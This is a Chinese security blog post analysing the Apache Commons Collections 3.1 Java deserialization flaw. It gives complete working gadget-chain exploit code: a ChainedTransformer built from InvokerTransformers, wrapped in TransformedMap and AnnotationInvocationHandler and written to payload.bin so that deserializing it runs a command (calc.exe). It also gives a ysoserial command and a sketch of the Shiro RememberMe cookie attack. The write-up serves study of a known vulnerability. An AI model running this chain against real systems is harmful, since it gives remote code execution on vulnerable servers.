Apache-Commons-Collections漏洞组件反序列化分析

  1. 简介
  2. 反射
  3. 反序列化
  4. CC链
    1. 环境准备
  5. POC代码
    1. InvokerTransformer
    2. ConstantTransformer
    3. ChainedTransformer
    4. TransformedMap
    5. AnnotationInvocationHandler
  6. 实战
  7. 思考
  8. 参考

其实漏洞原理都看懂了,但是去看其他框架的反序列化漏洞还是有点迷糊,还是做下笔记叭!

简介

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,是一个很常见的库,这个漏洞影响了后续很多的框架(如Weblogic、Shiro、JBoss、WebSphere等)

反射

反射为JAVA中特有的机制,可以通过反射调用任意类的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class JavaDemo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class cl = Class.forName("java.lang.Runtime");
Method method = cl.getMethod("getRuntime");
Method execmethod = cl.getMethod("exec", String.class);
Object runtime = method.invoke(cl);
execmethod.invoke(runtime,"calc.exe");
//Runtime.getRuntime().exec("calc.exe");
}
}

反序列化

反序列化是由于我们readObject的对象重写了readObject方法,若我们重写过后的这个方法包含恶意代码则会执行,在平时开发的时候开发人员一般不会让readObject直接利用Runtime执行命令。

所以我们要找到一个重写了readObject的类,并且我们通过这个类的其他方调用Runtime来实现执行命令。

CC链

环境准备

idea新建maven工程,pom.xml中添加:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>


会直接给我们导入commons collections组件,这里若是报错了估计是网络的原因无法访问maven的中央仓库,这时我们在maven的setting.xml中设置为阿里仓库,再配置下项目调用的setting.xml文件就行。

1
2
3
4
5
6
7
8
9
10
<mirror>
<id>nexus</id>
<mirrorOf>*</mirrorOf>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
</mirror>
<mirror>
<id>nexus-public-snapshots</id>
<mirrorOf>public-snapshots</mirrorOf>
<url>http://maven.aliyun.com/nexus/content/repositories/snapshots/</url>
</mirror>

POC代码

jdk1.7环境下运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class Demo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();

// 从文件payload.bin中读取数据
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
String s = (String) fin.readObject();
}
}

代码有点长,我们拆分成几个部分

InvokerTransformer

该类有一个transformer函数,触发了反射机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

这个函数有个构造函数,会让我们传入三个参数:

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

那么我们可以创建一个InvokerTransformer对象,利用transform函数来执行命令,代码如下:

1
2
3
4
5
6
public class Demo2 {
public static void main(String[] args) {

new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"calc.exe"}).transform(Runtime.getRuntime());
}
}

transform函数中传入我们的Runtime实例化对象,构造函数的参数传入我们要调用的函数,参数类型和参数。

但是在开发的过程中应该不会让transform函数直接传入Runtime对象,所以我们需要想办法构造出Runtime.getRuntime()实例化对象。

ConstantTransformer

该类也有transform方法:

1
2
3
public Object transform(Object input) {
return this.iConstant;
}

将传入的对象原封不动的返回,估计这里是为了格式吧~

ChainedTransformer

该类的transform很有趣:

1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

会将传入的对象作为下一个transform函数的参数,这里我们就可以实例化我们的Runtime对象了,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);
transformedChain.transform(transformers);
//new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"calc.exe"}).transform(Runtime.getRuntime());
}
}

我们可以构造一个transformerChain对象进行序列化,然后readObject进行反序列化,但是需要调用transform方法,除非开发这样写:

1
2
3
4
5
InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
obj = in.readObject();
obj.transform(Runtime.getRuntime());
in.close();

很显然不会有人写

1
obj.transform(Runtime.getRuntime());

这个时候我们就要想办法找能够调用transform的类

TransformedMap

Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

使用TransformedMap通过执行setValue方法会触发transform方法,打到我们先前想要的效果,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);


Map.Entry elEntry = ( Map.Entry ) outerMap.entrySet().iterator().next();
elEntry.setValue("hahah");

我们在setValue这里设置断点进行调试,来看看如何从setValues方法调用了transform方法的:

跟进checkSetValue方法:

发现了我们熟悉的面孔

那么我们就从需要执行transform方法,转到了需要执行setValue方法

AnnotationInvocationHandler

在jdk1.7当中有我们合适的类,会调用我们的setValue方法,并且重写了readObject方法。

构造函数:

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
this.type = var1;//传入的var1到this.type
this.memberValues = var2;//我们的map传入this.memberValues
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

readobject复写函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
//默认反序列化
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();//
Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//遍历map迭代器
String var6 = (String)var5.getKey();//获取key的名称
Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
if (var7 != null) {
Object var8 = var5.getValue();//获取map的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}
}

在这里我们就看到了我们想要的setValue方法啦,想办法构造可以调用。

实战

这里就很简单,写一个反序列化的代码,然后我们反序列化的类容就是我们构造好的恶意对象。

攻击者端代码,将我们的恶意对象写入到payload.bin文件当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Demo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);



Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
}

我们来查看这个二进制文件内容,用linux下的hexdump命令:

查看到里面有我们的恶意代码

服务器端代码(这里懒得找环境了,直接写个读取反序列化的就行),反序列化我们payload.bin文件中的对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Demo2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//从文件payload.bin中读取数据
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
String s = (String) fin.readObject();
}
}


成功弹窗。

当然我们也可以用ysoserial来输出我们的恶意对象:

1
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin

思考

其实之前有几个问题没想通的,但是后来跟着DEBUG以后就很清楚了,还是要多调试呀!

整体来说就是,readObject的时候我们的恶意对象由于重写了readObject方法,会调用我们构造好的恶意代码来进行攻击,对于最近流行的Shiro、CAS反序列化都是这样的。

比方说Shiro就是Cookie中的RememberMe传进去之后会进行反序列化,由于有AES加密,我们需要猜解密钥,然后将加密之后的序列化恶意对象发送过去,服务器端就会解密,进行反序列化。

说的很粗糙,也不晓得有没有错误呀。

参考

https://github.com/frohoff/ysoserial
https://xz.aliyun.com/t/7031#toc-9
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce
https://p0sec.net/index.php/archives/121/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:Apache-Commons-Collections漏洞组件反序列化分析

本文作者:sher10ck

发布时间:2020-08-04, 17:23:14

最后更新:2020-08-07, 21:37:25

原始链接:http://sherlocz.github.io/2020/08/04/Apache-Commons-Collections漏洞组件反序列化分析/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录